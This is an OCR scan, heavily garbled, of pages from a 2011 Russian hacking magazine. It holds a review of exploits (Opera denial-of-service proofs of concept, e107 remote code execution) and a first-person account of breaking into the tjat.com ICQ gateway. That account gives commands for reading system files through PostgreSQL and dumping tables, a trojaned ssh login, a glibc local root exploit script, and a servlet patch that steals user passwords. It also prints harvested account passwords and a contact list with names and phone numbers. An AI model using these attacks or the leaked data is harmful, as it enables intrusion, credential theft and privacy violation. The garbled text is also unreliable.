str.ams

php. 1М. d3b. hItp. fIp. compress.1tib. hIIps. flps

Registered str.am Socket Transpons

tcp. udp ..... sslv3. sslv2. tls

Registered str.am Fillers

oonven.iconv.'. SlringJ'OlI3. SIring .~. Slring1_. SIring.smp_U\lS. oonvert.'. conslmtd. а.'

Выполнение произвольного кода в е107

~1.]!liit·]§1

2. Уязви м ость в ссылках с префи ксом «о рега :». Злоумышленник

Для закрытия уязвимости открой файл ./wp-content/p lugin s/

может обманом застави ть пользователя нажать на специально

buddypress/bp-activity/bp-activity-classes.php и замени код:

сфо рмированную ссылку и изменить некоторые настройки браузера.

3. Уязвимость , возникающая при обработке определенных httpif ( is_array( $activity_ids ) )

ответов и перенаправлений. Злоумышленник может за грузить про ­

$activity_ids = implode( ',' , $activity_ids ); $activity_ids = $wpdb- >es cape( $activity_ ids );

доступ к содержа щейся в ни х инф ормации.

извольные локальные файлы в качестве web-ко нтента и пол у чить

4. Заменить приведенный выше код нужно на следующий:

Уяз вим ость, закл ючающаяся в за п уске бра узе ром некорректного

исполняемого файла при попытке открыть ката лог, содержащий

какой-либо загруженный файл [ экс плуатация уязвимости требует

$activity_ids = $wpdb- >escape($activity_ids) ; i f ( is_array( $activity_ids ) ) $activity_ids = implode( "',' ", $activity_ids);

н еплохих навыков в области социальной инженерии).

5. Уязвимость, кроющаяся в опции «Clear all ema il account passwords» утилиты «Oelete Private Oata », которая не очищает emailпароли до перезапуска приложения. Теоретически злоумышленник

и строку «id IN [{$activityjdsJl » на строку «id IN [' {$act ivityjds}'I».

оз

-

МНОЖЕСТВЕННЫЕ УЯЗВИМОСТИ В OPERA

м ожет пол уч ить доступ к учетным записям почты пользователя.

ШEii Так как баги за н омерам и

2-4 требуют использования со циальной

инженерии, способы их экс пл уатации крайне туманны и неоднознач­ ны . Но для первого бага уже о п ублико ваны вполне определенные

концепт-коды выполнения 005-атаки !способы запуска прои з вольно ­

в январе теку щ е го года Жорди Шансель и Макото Шиотзуки обнару-

го экзешника, конечно же , держатся в таЙнеl.

жили целую кипууязвимостей в моем любимом бра уз ере. Найденные

П ерв ый РоС написан на РНР:

дыры позволяют удаленному пользователю обойти некоторые ограни­ чения безопасности, п олучить доступ к важным данным и скомпроме­

<select name="dos" >

тировать цел евую систему.

< ?fоr($i=8;$i<327б8;$i++):?>

1. Целочисленное переполнение при обработке большого количества

<option><?=$i?></option> <? endfor;? > </ select>

вложенных элементов в

html-Te re «select»

позволяет вызвать пере­

полнение динамической памяти и выполнить пр оизвольный код на

целевой системе [в опубликованных РоС представлены только 005-

варианты этого багаl.

П осле выполнения данного скрипта с помощью Оперы твой брау-

ХАКЕР 04/147/2011


]

EXPLOIТS

REVIEW

зер намертво повесит всю систему. Второй РоС написан на

Perl и

1. Открываем файл ./search.php и смотрим примерно на 400 линию :

немного отличается от первого:

$text = pregJeplace( " / \{(. *? )\} / e" , '$ \ 1' , $SEARCH_TOP_TABLE);

i = 0 ь uf =

" <opt i

оп > AAA.AJ.\AAP.AJA.AJ.\AAAAJ~\AAAAJ~\AAA.AJ.\AAP.AJA.AJ.\AAP.AJ""

AAAAAAAAAAAAA</option>\n" Ь uf

+= "< opt i

2. Теп ерь

находим саму переменную $SEARCH_TOP _TABLE в файле

./е 107_themes/temp lates/sea rch_template.php :

while i <0x4141 оп >AAJo.AI'I.AAAAJ>.AfJI.AAAд;>.AfJ,.дAAд;>.AfJ,.дAo.AI'I.AAAAJ>.AfJ\A

ААААААААААААААА < /

opt ion >\ п"

i f (! isset($SEARCH_TOP_TABLE)) { $SEARCH_TOP_TABLE =

i+= l

" <div style='text - align : center' >

end

<form id='searchform' name= ' searchform' method='get' action='''.e_SELF.''' >

HTML = " <html >\n" +

<table style=' " . USER_WIDTH . '"

" <body >\n\ n" +

<td class = ' forumheader3' style= ' width : 40%' >" • LAN_199. "

class=' fborder' >< tr >

" <select >\n\ n"

</td > <td class =' forumheader3' style=' width : 60%; white-space : nowrap' >

HTML+=buf * 100

{S EARCH_МAIN_SEARCHFIELO}&nbsp ;

HTML += " \ n\ n\n \</ select >\n\ n" +

{SEARCH_МAIN_SUBMIT}&nbsp;{ENHANCEO_ICON}

" </body >\n \ n\ n"+

</td > </tr >" ;

" </html >\n \ n\ n\n\n"

} f = File .open( " Exploit_opera_ll . 00 . html" , " w" ) f . puts HTML

Здесь константа e_S ELF берется из переменной $_SERVER['P HP_

f . close

SELF'], которая парсится в классе ./class2.php:

На выходе ты снова получишь фатальный для Орега html-коА.

i f «$pos = strpos($_SERVER[ 'PHP_SELF ' ], ".php/" )) !== false)

вm

{

/ / redirect bad URLs to the c.orrect Орега

10.63.11 .0 и более ранние версии.

опе.

$new_url = substr($_SERVER[ ' PHP_SELF ' ], 0, $pos+4 ); $new_loc = ($_SERVER['QUERY_STRING' ]) ?

~1.](I)i[·a i

$new_url. "?" . $_SERVER[ 'QUERY_STRING' ] : $new_url;

Для устранения всех этих уязвимостей тебе необходимо всего лишь

header( "Location: " .$new_loc);

обновиться до последней версии браузера с официального сайта

ехН()

;

орега.сот.

Еl07

<= 0.7.24 REMOTE РНР СООЕ

} $_SERVER[

EXECUTION

'РНР _SELF

'] = (

($pos = st r pos($_SERVER[ 'PHP_SELF' ], " . php" )) !== false ? substr($_SERVER[ ' РНР _5ELF' ], 0, $pos+4 ) : $_SERVER[' РНР _SELF']);

Как-то раз я наткнулся на интересный анализ годовалой давности

одной изуязвимостей в известнейшем РНР движке e107I http://goo .

gl/LWE19 1 в э том анализе хаке р под ником Ox6a616d6573 обнару­ жил интересный ченджлог в исходниках файла ./class2.p hp :

!t&

М о й эксплойт оче нь п охож на с пл о йт

Ox6a616d6573 и, как и ори-

гинал, срабатывает только на серверах, неч увствительных к

регистру lобычно виндаl: h t tр:Шаmег/е 1 07-0 . 7 . 24/sеа гсh.рНр/

revision 1.388, Sat Jan 9 20 : 32 : 21 2010 UTC

{a=evatlphpinfolJ)l.

define( " e_QUERY" , $e_QUERY);

вm revision 1 . 390, Fri Jan 2215 : 00 : 22 2010 UTC

е 107

<=0.7.24

define( "e_QUERY" , strJeplace ( ar r ay ( ' {' , '} ' , '%7В' ,

' %7Ь' ,

' %70' , ' %7d' ), " , $e_QUERY));

~i·]!ijit·]t l Для устранения проблемы воспользуемся способом самих авторов

Тут же этот хакер нашел и повод, повлекший за собой такие изме­

движка и сделаем в файле ./cla ss2.ph p небольшое изме нени е:

нения. Интересный код содержа л ся в файле

Найдем код:

$text = pregJeplace( " / \ { ( . * ?) \ } / е " ,

login.php:

' varset ($ \ 1, " \ 1" ) , ,

define( "e_SELF " , ($pref[' ssl_enabled' ] == ' 1 ' "https :/ /" .$_SERVER[ 'HHP_HOST ' ] :

$LOGIN_TABLE) ;

'' http :/ /'' .$_SERVER[ ' НТТР _HOST ' ]) • Данный preg_replacell с модификатором «е» по зволял вы п олнять произвольный код на системе с помощью специально сфо рми ­

( $_SERVER[ ' РНР _SELF' ] ? $_SERVER[ ' РНР _SELF' ] $_SERVER[ 'SCRIPT_FILENAМE ' ]));

рованного URL вида http:Uwww.example .com/e107/logln .pHp/

{x,phpinfo()}. Несмотря на то , что этот баг закрыли уже более года

И вставим перед ним следующее:

назад, я заинтересовался самим механизмом выполнения кода и

нашел следующие забавные вещи в последней на момент напи са­

$_SERVER[ ' РНР _SELF' ] = strJeplace( array (' {' , '} ' ,

ния обзора верси и е107

' %7В' , ' %7Ь' ,

ХАКЕР

04 /147/ 2011

0.7.24:

' %70' , ' %7d ' ), " , $_SERVER[ 'PHP_SELF' ])); :::J:

~

047


• • Ано н имус & M4g licq 88'888. sn l ppe r.r ul

TJAT.COM: ..... инаnьныи удар Эпический взлом знаменитого IСQ-шлюза По традиции, примерно раз в два года ты можешь насладиться истори­ ей взлома мобильного шлюза tjat.com, предназначенного для общения в ICD/GTaik/Facebook/BKoHTaKTe/. .. с телефона. Каждый из взломов отли­ чался увеличением сложности и глубины проникновения в систему. В этом материале мы постараемся поставить жирную точку в этой истории, потому что получать контроль больше просто не над чем - пали послед­ ние из серверов этого WАР-сервиса. В о - вто ры х , сохра н ился не только веб- ш елл, но и суидник rap·tor_

Предыстория

prctl 1,

Как-то раз м н е в гол ову взбр е ло п е ре б р ат ь стар ые тексто в ые ф айл ы

2.6. 17. 4 prctl(] Local Root Explo it.

с л о гами в зл омов

tjat .com . Как это ни удивительно , но м ой стар ый

ш елл все е щ е н а х од ился в ук ромно м м е сте п о адр есу

forums.tjat .

com/RhRBB2/la nguage/lang ukrainian/1.phR !

п ол уче нн ы й с п омо щ ью с п лой та

Lin ux Ke r nel2.6. 13

<=

В-т р ет ьи х, вкусней ши е л о г и сервиса, в которых ко гда -то храни­

л ис ь пароли и I СQ - уи н ы, п о - пр еж н е м у н аход ил ись в /us r/loca l/

apac he_1.3.37/logs/. Н асторожило то , что эт и самые л оги и мели

Ко н е чн о же , я с р аз у вс п омн и л бы л ое и ста л исследов ат ь систе м у.

к р ай н е малы й р аз м ер и уже не соде ржали н иче го ин те р есно го.

В о- п ервы х. ста р ин н ое я д ро та к н и кто и не уд о суж ил ся пр о п а тч ить:

Ч тоб ы п одтверд ить зак р а вш иеся сом н ения , я проследова л на и зв е ст ны й се рви с

~

Reverse IP Look up,

р асположе нн ы й п о ад р есу

System: Linux t j at - srv-main 2.6.15-1 . 2054_ FC5smp #1 SMP

yougetslgnal.com/tools/web-sites-on-web-server, и узна л, что теперь

Тие

се р ве р

Mar 1 4 16: 0 5 : 4 6 EST 2006 i686

048

forums .t jat .com

обс л уж и вает только следую щ ие сайты:

Х А КЕ Р

04 / 147/2 011


~

warning

В се описанное в ста­ т ье является плодом

Мой старый шелл на

forums.tjat.com

воображе н ия автора. Любые совпадения

• • • •

forums. tjat. сот; temp . tjat . com; tjat . сот (редирект www . tjat . com.

с су ще с тв ую щими

с айтами случайны. Ни на

miami . tjat . сот );

редак ц ия, н иавтор не несут от в е тственно ст и

з а л юбойвозмож ны й

Такое п оложе ние вещей меня, ко н ечно же, н е устраива­

вред, причиненный материалами этой

ло, п оэтому настала п ора заняться взломом п ос ледни х

рубежей обо р о ны tjat.com

:1.

статьи.

Прони кновение в БД

Дамп слогами ВКонтакте

По сле не слишком долгих поисков стало ясно, что адми­

myid postgres space stati stics s ummary temp1ate8 temp1at e1 tjat twitter uc1 wapao1 wapfb wapicq wapqq

ны шл юза пр акти ч ески п о лно стью пер е н если свое тво ­

рение на

java

и, соответственн о ,

Apache Tomcat. И з интерес н о го на глаза мне п опался файл /usr/ local/ tomcat/conf/Cata lina/loca lhost/wapi cq.xm l, в котором соде ржались да нн ые дл я п од ключения к некой

Postg reSQ L базе:

<Va1ve c1assName."org . a pache.cata1ina.va1ves. AccessLogVa1ve" pre1i x."wapicq_access_1og ." suf1i x·".txt" pattern."combined " condition."p " />

х трр

yahoo

postg r es postg r es postgre s postgres postgres postgres po stgre s postgres postgres postg r es postgres postgres postgre s postgres postgres po stgres

UTF8 LAТIN1

SQL_ASCII SQL_ASCII SQL_ASCII

www

LAТIN1

~

L AТIN 1

• Linu x Kernel2 .6. 13 <·2.6.17.4 prctlll Local Root Exploit : exploltdb.com/exploltsI2D31 ;

SQL_ASCII UTF8 UTF8 SQL_ASCII UTF8 SQL_ASCII SQL_ASCII UT F8 SQL_ASCII

• Glibc advisoгy: ореп­ net . ru/open news/a rt . shtml?num·28338 ; · 3 варианта

и с п оль­

зо ванияуязвим ост и

<Resource name. " jdbc/wapicq" type."java x. sq 1 .DataSource " auth· "Container" factory."org . apache . tomcat.dbcp . dbcp. BasicDataSourceFactory" ur1."jdbc:postgresq1 ://18 .8 .8.1 : 5432/ wapicq " driverC1assName."org.postgresq1.Driver" us e rname. ·· postgres " password. "postgres "

П осле небольш и х экс п ериментов и не с кольк и х зап ро сов к обнаруже нно й базе я нашел:

1. Логи

подключений к асе в таблице

wap icq. icquse r,

Glibc: https://rdot.org/ forum/showthread . php?t·817 ;

весящие 141 Мб l аналогичным о браз ом назывались и таблицы с лагами дл я остальных сервисовl:

Пример записи в

файлы на

Java: javadb.

соm/wГltе-tо-filе­

• 555628875 2818-11-87 28 : 85 : 39 12.158 . 188.194 SonyEricsson K618i · 3337867372811-81 - 2916 :57:25 212 . 158.188 . 194 SonyEricssonW595 / R3EJ • 398588423 2818-12 - 18 85 : 88 : 38 213 . 87 . 76 . 177 Mozi11a / 5 . 8 (Linux; U; Android 2. 1- update1; tr-tr; HTC_Wi1d1ire_A3333 Bui1d / ERE27) · 4298283912818-89-8528 : 34:88213 . 87.86 . 78 Ope r a/ 9.88

я составил нехитрую команду для просмотра до сту пн ых баз данных:

/ usr/ 1oca1/ hyperic / server-4 . 2 . 8/hqdb/ bin / psq1 - h 18.8 . 8 . 1 -1 -u postgres -w

uSlng - bu fferedwГlter.

и увиде л следующую картину I кста ти, как выяснилось немного позже , юзер postgres вообще не имел пароля ll :

2.

Таблицу

statistics. traffic, содерж ащую

логи в формате

Апача lиз-за того, что отныне се рви с не пер едает логин и парол ь для п одключен ия в

List of dat abases Name I Owner I Encoding

З . Мале н ькие табли ц ы

art cabs chikka facebook msn ХАКЕ Р

04 / , 47/2011

postgres postgres postgres postgres postgres

_G ET, толка

от этих лого в

н е было н икакогоl ;

L AТIN1

UT F8 SQL_ASCII UTF8 SQL_ASCII

myid.user_acco unt s

и

myid.use rs ,

содержа щи е неп о нятные аккау нты и пароли:

448288389 ; junam38 467478765;yu1ian2887 tjattest1e@hotmai 1 . com; tjattest1

~

049


уtе s t7БS4;1234SБ

ее 8 1 3 89б 9 ;у u liап7бS4

tjatqal ; qa1234

Здесь также стоит указать схему работ ы с утилитой

pg_dump.

так

как РНР. установленный на сервере. не мог по дефолту работать с базами

PostgreSQL:

/ us r /local/hyperic / server-4.2 . e / hqdb/ bin/pg_dump -h lе . е . е.l -u postgres -i -w - t icquser -v -f / usr/ local / apache_l.3. 37/ htdocs / forum/ phpBB 2/ 1anguage/ lang_ukrainian / l.sqlstatistics Данным запросом мы можем сдам пить таблицу

icquser из базы statistics в файл /usr/local/apache_1.3.37/htdocs/forum/phpBB2/ lапguаgе/lапg_ukгаiпiап/1.sql

4. Аналогичные

роstgгеs-базы находились также на других

серверах в сетке

tjat: 192.168.252. 192.1 68.25.22 . 192168.25. 23. 192168.25.24. 192.168.25.25. 192.168.25.26 - это я узнал с пом ощью

сво их ста рых пmа р -логов. о п иса н ных в предыдущей ста т ье пр о наш

многострада л ьный ш люз.

Топтание на одном месте П отеряв много времени на изучение ро s tgге s-баз . я решил любыми

wap.t jat.com .

путями проникнуть на соседние сервера

был с крываться нужный нам

на од ном из ни х должен

Единственным доступным на тот момент способом казалось чтение и запись файлов с помощью встроенных в

PostgreSQL

Tomcat

qa_Automation: / bin/bash TjToFc : x :e:e: : / home / TjToFc: / bin / tcsh vlаd: х :sеб:Slе: : / home / vlad : /bin/tcsh yulian: x :se7:S11: :/home/yulian :/ bin / tcsh yaron :x: se8 : S12 :: /home/ yaron: / bin / tcsh yu r iy :x: se9 : S13 :: /home/ yuriy: / bin / tcsh JonathaN: x: Sle : S14: : / home/ JonathaN :/bin/tcsh OrenC :x :Sll : S1S : :/home/OrenC:/bin/tcsh

средств. Но

немного погуглив по теме. я сообраз ил следую щу ю схему:

1.

Логи асы<и в

Логинимся в постгрес:

Дальше, конечно же. возникла н еобходимость ч тения других инте­ ресных файлов с роstgге s -сервер ов

tjat'a, но попытки прочитать /etc/passwd, не уве нч ались успехом. Н апример, на « сору ааааа from ' / etc / hosts'; » п ост г рес ругался сле­

что -то , кроме

/ us r / local / hyperic / server-4.2.e/ hqdb / bin / psql -h \ lе . е . е.l -u postgres - d statistics 2.

Читаем файлы с п омо щью следующего сценария:

set client_encoding to UТF8; TABLE ааааа(Ь text) ; сору аа а аа from ' / etc / pas swd' ; se l ect * from ааааа; DROP TABLE ааааа ;

CREAТE

запрос

дующим об ра зом:

ERROR: extra data after last expected column CONTEXT: СОРУ ааааа, line 3 : " #l27 . е . е , l tjat-operdb tjat-stat-db localhost . localdomain localhost se rverDB_il.tjat . com" Не получив вменяемого ответа от Гугла, я совсем уже было опу ­ стил руки , но тут к дел у подключила сь свежая голова п ожелавшего

остат ься н еизвестным хеккера Iд алее Данный с ценарий ус п еш н о отработал и отобрази л мне содержимое

/etc/passwd на сервере 10.0.0.1:

haim :x: se4 : se7 ::/home/ haim: / bin/ tcsh Tj at _qa_Automation: x: ses : se8: : /home / Tjat_ ~

050

стук нул ваську

- Ано ни мус l, кото р ому я и

:1.

Все меняе.тся, когда приходит Анонимус. Недолго думая, Анонимус воспользовался уже известным тебе веб­ ш ел лом на форумах

tjat , удобн о

обустроился и пол учи л привилегии

ХАКЕР 04/147 /2 01 1


Логин в протрояненный

ssh. Теперь необходимо было проверить данный пароль на соответствие ос та л ьным сервера м в сетке.

П ервая же попытка ко н некта

dima@192 . 168 . 25 . 2»

«ssh

4430

п оказала, что полученный нами пассворд

подходит как минимум еще к одному серверу

tjat!

Последующие тесты, а также логи птар помогли узнать, что наи­

более интересными дл я нас серверами являются

192.168.256, 192.168.25.7

и

192.168.25.8

192.168.25.5,

по следую щим соображе ­

ниям:

Логи

nmap

рута. Поиски по серверу снова ничего не дали, постгрес же отве­

1. Парол ь Димы подошел ко всем перечисленным серверам. 2. В логах Том ката /us r/local/tomcat/logs/ic q был виден реферер wap. icg.com [в отличие от forums , на этих серверах логи были

ч ал гробовым молчанием ... Казалось бы, стоит оставить

открыт ы на чтение неприв и лег и рованному юзеруl.

его асям и в покое, н о н е тут-то было: вс п о м нив о статье

З . Логи были всегда свежими.

t!at.com с ShadOS'a «Шапка - невидимка» из 103 - го номера жу рн ала [xakep.ru/ magazine/ xa/ 103/076/1 .aspl, Анонимус принялся за протроянивание ssh. По окончании этого нехит р ого действия мы имели следующий про­ фит:

1, 2,

Вход в систе м у с маг и чески м паро л е м

tjatcompassword.

Полное протоколирование входящих/исходящих соединений.

З. Невидимость в системе. Тут стоит упомянуть о том , что сервис

ssh

на

forums .tjat.com

и

остальных серверах локаль н ой сет и располагался на необычном порту

4430 , что

Feb Feb Feb Feb Feb Feb Feb Feb

17 1313:11 17 ее: 22 12 23:59 141313:1313 15 1313 :1313 16 1313 :1313 17 1313 :1313 17 Ы: 51

. ., icq_access_log . 2e11-bl-12.txt icq_access_log . 2e11-e2-13.txt icq_access_log . 2e11-e2-14.txt icq_access_log. 2e11-e2-15.txt icq_access_log. 21311-132-16, t xt icq_access_log. 21311-132-17. t xt

помог выяс н и т ь установле н ный два года назад ска­

нер пmар:

Те п ерь необходимо бы л о порутать наши сервера и подумать над

Host 192,168 . 25 . 8 appears to Ье up . . . good . Interesting ports оп 192.168.25 . 8: (The 655313 ports scanned but not shown below are in state: closed) PORT STAТE SERVICE VERSION 8e/ tcp ореп http Apache Tomcat/Coyote JSP engine 1. 1 81/ tcp ореп httpApache httpd 1.3 . 41 «Unix» 111/ tcp ореп rpcbind 2 (rpc #11313131313) 44зе/tср ореп ssh OpenSSH 4 . 3 (protocol 2. 13) 8ee9/tcp ореп аjрlЗ?

получением логинов и паролей к аськам пользователей сервиса.

Последние рубежи На всех н уж н ых нам серверах А н о н и м ус л егко сп р ав и лся с за д ачей

рута ни я [ а затем и протроян и вания l с помощью соверше н но разных сплойтов, найденных на просторах

exploit-db .com.

В большинстве же случаев помог небольшой сценарий, эксплуати­ рующий уязвимость в

Glibc:

Эпик фэйл ДИМЫ

$ mkdir /tmp/exp10it $ 1п /bin/ping /tmp/exp10it/target $ ехес 3< /tmp/exp10it/target $ 15 -l/рrос/$$/fd/З lr-x- - - - - - 1 dima dima 64 Oct 15 139 : 21 / proc / 1e836/ fd/3 - > / tmp/ exploi t/target* $ rm -rf /tmp/exploit/ $ 1s -1 /рrОС/$$/fd/З lr- x--- -- - 1 dima dima 64 Oct 15 139 : 21 /proc/1e836/fd/3 - > /tmp/exp10it/target (deleted) $ cat > pay10ad. с void __attribute __ «constructor» init()

После то го , как

{

Также, если запустить внешний скан нашего хоста , то можно уви­

деть следующую информацию:

Host mail,tjat.com (82.813.244.153) is up (e.22s latency). Interesting ports оп таН . tjat. сот (82.813.244.153): PORT STATE SERVICE VERSION 8e/ tcp ореп httpApache httpd 1. 3.37 «Unix) РНР / 4.4.6) 44зе/tср ореп ssh OpenSSH 4,3 (protocol 2.13)

ssh

был п ротроя н е н , н ам оставалось лишь подо­

ждать входа в систему одного из администраторов. Ожидание омрачалось лишь одним фактом

-

команда

«last -50»

ла , что единстве нн ый и н тересующийся данным сервером юзер

dima

захо д ил в систему бо л ее го да н аза д. П р и н яв во в н има н ие

данный факт, А н о н и м ус пр едложи л уро н и т ь какой-нибуд ь из сер висов, крутящихся на данной ма ш ине, для прив л ечения вни­

мания ожидаемых нами админов. Выбор был сделан в пользу

MySQL:

/еtс/iпit.d/mуsql

stop.

Спустя н есколько часов в л ог у п а л аккаунт

сервис мускул я б ы л с н ова за п у ще н

ХАКЕР

04 / 147/ 20 11

:1.

setuid(e) j system("/bin/ bash") ;

показыва­

dima;d ima76767676 , а

} ЛD

$ gcc -w -fРIС -5hared -о /tmp/exp10it pay10ad.c $ 15 -1 /tmp/exp10it -rwxrwx- - - 1 dima dima 4. 2 К Oct 15 139: 22 / tmp/exp10it* $ LD_AUDIТ="\$ORIGIN" ехес /prOC/5elf/fd/3 sh -4 . 1# whoami root ~

051


} if{" 1".equals(loginStage)) {

10gger.i nfo("Continuing to 10gin . '1; response, u~s); return; lоggi пg lп(геquеst,

}

=

String uin WebServiceUtils.getRequestParameter(request, Parameter.usemame.value()); if(uin null) httpSession.getAttribute("uin"); String password = WebServiceUtils.getRequestParameter(request, Parameter.password.value())j String ml = WebServiceUtils.getRequestParameter(request, "ml"); String remoteAgent = геquеst. gеtНе аdег{" Usег-Аgепt"); String remoteHost = request.getRemoteAddrO; logger.info« new StringBuilder(String.valueOf(uin})}.append(" host: ").append{remoteHost).append(" - Iogging in. -'').tоStгing()); logger.info« new StringBui lder(Stri ng.valueOf(uin))).append(" request URL: "). аррепd(геq uеst. gеtRеquеstURЦ )). tоStri п gО); logger.info« new StringBuilder(Stri ng.valueOf(uin})}.append(" user agent: ").append(remoteAgent).toString()); httpSession.setAttribute("ml", ml); logger.debug« new StringBuilder(String.valueOf(uin))).append(" Http session ").append(httpSession.getld()).append(" attribute ml setted to ").append(ml).append(" created").toStri ng()) Locale locale = Localizer.ENGLISH; if{language != null && !language.equals("")) { logger.debug« new StringBuilder(Stri ng.valueOf{uin))).append(" language: ").append(language).toStringO); locale = Localizer.getLocale{language); httpSession.setAttribute(Parameter.language.value(), language); } else {

==

NumlaclcON

Ci,!Ipslock:O~ OF F

'-

33,704 G8 Free

LoginServlet.class

BufferedWriter bufferedWriter = null; try { bufferedWriter = new BufferedWriter ( new FileWriter(filename»; bufferedWriter.write ( str) ; i f (bufferedWri ter ! = null) { bufferedWriter . ftush() ; bufferedWriter.close(); }

root на

основных серверах

tjat.com

Получив таким нех и трым образом абсолютные при виле г ии н а четы­ рех серверах, обслуживающих сай т

wap.tjat.com,

Анонимус предло ­

} catch (FileNotFoundE xception ex .printStackTrace(); } catch (IOE xception е х ) { ex .printStackTrace();

ех )

{

жил вст ро ит ь в сервис тр оя н ский лог гер для асек и стал п одыски­

вать нужную точку для и н жекта. Таковой оказа л ся jаvа - кл асс / usr/

loca l/tomca t/we Ьа р ps/wa р icq/W EВ -1 N F/ с la sses/ со m/tja t/i cq/wa р/ sегvlеt/Lоg i пSегvlеt.сlаss , кото р ый и сод ержал п ро цеду р у асеч н о го

З . П осле строки «Stгiпg

логина:

уины с паролями следующим образом:

String uin = WebServiceUtils. getRequestParameter( request, Parameter . username.value(»; i f (uin == null) httpSession.getAttribute( "uin " ); String password = WebServiceUtils . getRequestParameter( request, Parameter . password.value(»;

writeToFile( "/ tmp/logs/logicq " + uin, uin+"; "+passwor d+ "\n" ) ;

Профит! Н аш незамысловатый логгер проработал пример н о неделю до е го обнаружения админами. За это время мы смо гл и п олуч ит ь при­ мер н о

Здесь н еобход и мо было созда т ь н екую функ ц ию за пи си в файл и

password » фу н кция записыва л а в лог-файлы

6 000 номеров, большинство из которых, конечно же, были

кривейшими 9-знаками:

вс тавить ее п осле получе ни я п аро л я п ользовате л я , т о есть п осле

строки , нач и нающейся со слов «S t г iп g

password».

Данная задача была ре ш е н а Ано н имусом с п омощ ь ю Гугла и шаманского буб н а с л едующим об р азом:

1.

Добавля ли сь iпр u t/о u tрu t паке т ы im port Java. io* ;

2.

В нача л е класса L oginSeгv let.c l ass д обави л ась функ ц ия

writeToFile:

public void writeToFile( string ~

052

Ыепаmе ,

string str)

267962705 ;sfam2990 268196940;iddqd 268314965;9813694 268524966; null 268619289 ; rfgbnjy 2687242 ; 01eKMyQ7 269558047 ; lifetec ХАКЕР

04 / 147/20 11


Work;148171833;HarelEfraim;;+972 54 3854458 SMS;Thu Sep

е7

2886 15: 88: 22 4982642;Моп

Work;148948113;SF;;+972 (54)

Jun 19

288688:43:46 Work;15123;Ruti;;; Work;166967874;einat;;(972)

524888588;Моп Оес

18

288689 : 42 : 18 Work ; 16781;BoLo; ; ; Work; 16878;Michael Cohen;; +972 54 4527767 SMS; Моп Jun 19288688:43:46 дсечный лог

Work;18981;Ephraim;;; Work; 19791; Lior;; +972 52 4888685 SMS; Fri Jan 12 12: 58: 39

278323224;ilevr13

28е7

278485888;univega

Work; 199516418; Galia; ; +972 52549822 SMS; Моп Jun 19

271169757;Minka8788

2886 88 :43 : 46

271216896;bambin

Work; 28384;Оапа ; ;+972 544954265 SMS;

271513818;medvediki

Work;214589417;ouriel;;(972) 523823131;Thu Sep 87

2718878; N@DEZHD@

288614: 58 :47

273881648;maha17

Work; 21512; Noam ;);; (972)

273967932 ; aned2385

2886 88 :43 :45

274288879 ; 52355288

Work;219388542;yair;;+972 524888596 SMS;Mon Jun 19

4234556;Моп

Jun 19

274348894;4672188

288688:42:48

274512176;twilight

Work;22221;Osnat;;+972 52 6122684 SMS;Thu Sep

е7

2886 14 : 58 : 37 596351383;121314

Work ; 22588; Paz ; ; ; Моп J un 19 2886 88: 42: 48

597424414; QW95mdfF

Work ; 23884;Channy;;;Fri Jul 14288689:48:22

597439288;212888 597743487;qwerasdf123

work;~3232;Klieger;;;Mon Jun 19 2886 88:42 : 48 Work;23234;Yifat;;+972 524888575 SMS;Sat Оес 16

597852239;842286tis

288686 : 85 : 85

598396568;357159 598858992;15831993 Как видишь,

599846657;lancer2888

л ярностью с р еди о пр ед еле нн о го кр уга людей, хотя надо замет и т ь,

599522128;nyrek98

ч то эта по п уля рность зна ч и тель н о у п а л а п о срав н е н ию с

599568833;2836846

годами.

WAP

I СQ- ш люз

tjat .com

598965238;katea68

по- п режнему п ользуется п о п у­

2006-2008

599916355;831893

Кстати, п ри мерно в то же время А но н имус случай н о загля н ул в

599922284; null

каталог

на forums.tjat.com и обна р ужил в не м под озрите л ь н ые tmp_Nagios_proc.63.218.56.11. postmaster, tmp_Nagios_ proc.63.218. 56.5.java и так д а л ее.

/tmp

файлы вида

599958831;burenator 688223141;fuck123 688991756; 123ас456

П осле быстрой п роверки в ыяс нил ось, что эт и сервера обслуживают

681888682;enemenezicjzack

один сайт

681142649;2482% 5E~5E

доме н а

682328989;FK31QC7CJc

е щ е и серв и с для обще н ия в русской со ц иаль н ой се ти ВК он такте.

682533494;7Mo38qLX

Конечно же , с р азу бы л п роверен l и сразу под о ш ел] ранее пол учен­

- miami.tjat.com , н а кото р ый вел редирект с ос н о вного tjat.com и который, в отл и ч ие от waptlatcom , содержал

н ы й п а р оль Д им ы , а в н еза пн о н а йд е н ная вто р ая сетка

быстро порутана и п рот роянена Од н ако среди это го многообразия, как и в п ро шл ые раз ы , п о п а л ось п-ное количество адми н ских и п росто красивых н омеров. По сло­

Tjat была

J

Напоследок

жившейся традиции публ и кую част ь контакт-листа одного из таких

После об н аружен и я ло г ге р а а д ми н ы , мало того , что не п р опатчили

н омеров

свои серве р а, но еще и :

- 44446:

1.

Не из м е н и ли н и од но го п ароля.

2.

Н е уд ал и ли тр оя н ский

ss h.

Work; 18776; sarel; ; +972 52 4888681 SMS;

З. Вообще не позабот или сь о даль н ейшем обес п ече н ии безопас н о ­

Work;11881;Vadim;;+972 52 3698945 SMS;Thu Nov 23 2886

сти своей с и стемы l и это после т ретьего известн о го и м взлома l ]. В связи с д ан н ым и обстоятель ствами А н о ним ус , ко н е чн о же, пред­

12:32:48 Work;123178848;sasha;;+972 (547) 391818;Tue

Оес

19

л ож и л создать более пр одв и н утый л о гге р для всех се р висов

Tjat

и

288614 : 51 : 36

поиметь. п о ми мо

Work; 12721; yoni tg;; +972 582348803 SMS;Mon Jun 19

н о это уже д ру гая и стор и я

288688 : 44:54

воист ин у э п ох а ль н ый вз л ом ц е л ой ар м а ды серве р ов о д ного сер­

J

В ц е л ом же, о гл я д ываясь на э т от

виса , я бы п осове т овал т ебе ни ко гд а и н и где н е и спользовать

Work;12826;Orit Fredkof;;; Work ; 13579; Rami;;; Thu Sep

ICQ, кучу аккау нтов MSN, Facebook и иже с ними,

е7

2886 14: 58 : 57

оди н аков ы е п а р оли I главная уязвимос т ь

Tj at -

од ин и тот же

Work;14366;amit;;(972) 524888622;Sun Jul 38

п аролы ' а также в н има т ель н ей ш им образо м с л е д и т ь за безопас­

2886 89: 17 : 37

ностью п одко нтр оль ны х тебе систем.

Work; 14441; Ron Harari; ;+972 52 4888584 SMS;Thu Sep

Надеюсь, что в т рети й раз я , н ако н е ц , с м огу п оста в ить точку во

е7

вз л оме мно гострадаль н о го

2886 15:88:86

ХАКЕР 04 / 14 7/2 011

tjat .com

J

х

~

053


• • Алексей СИНЦОВ. Oigi l al Security (twitter .c om/asintsovl

DNS.

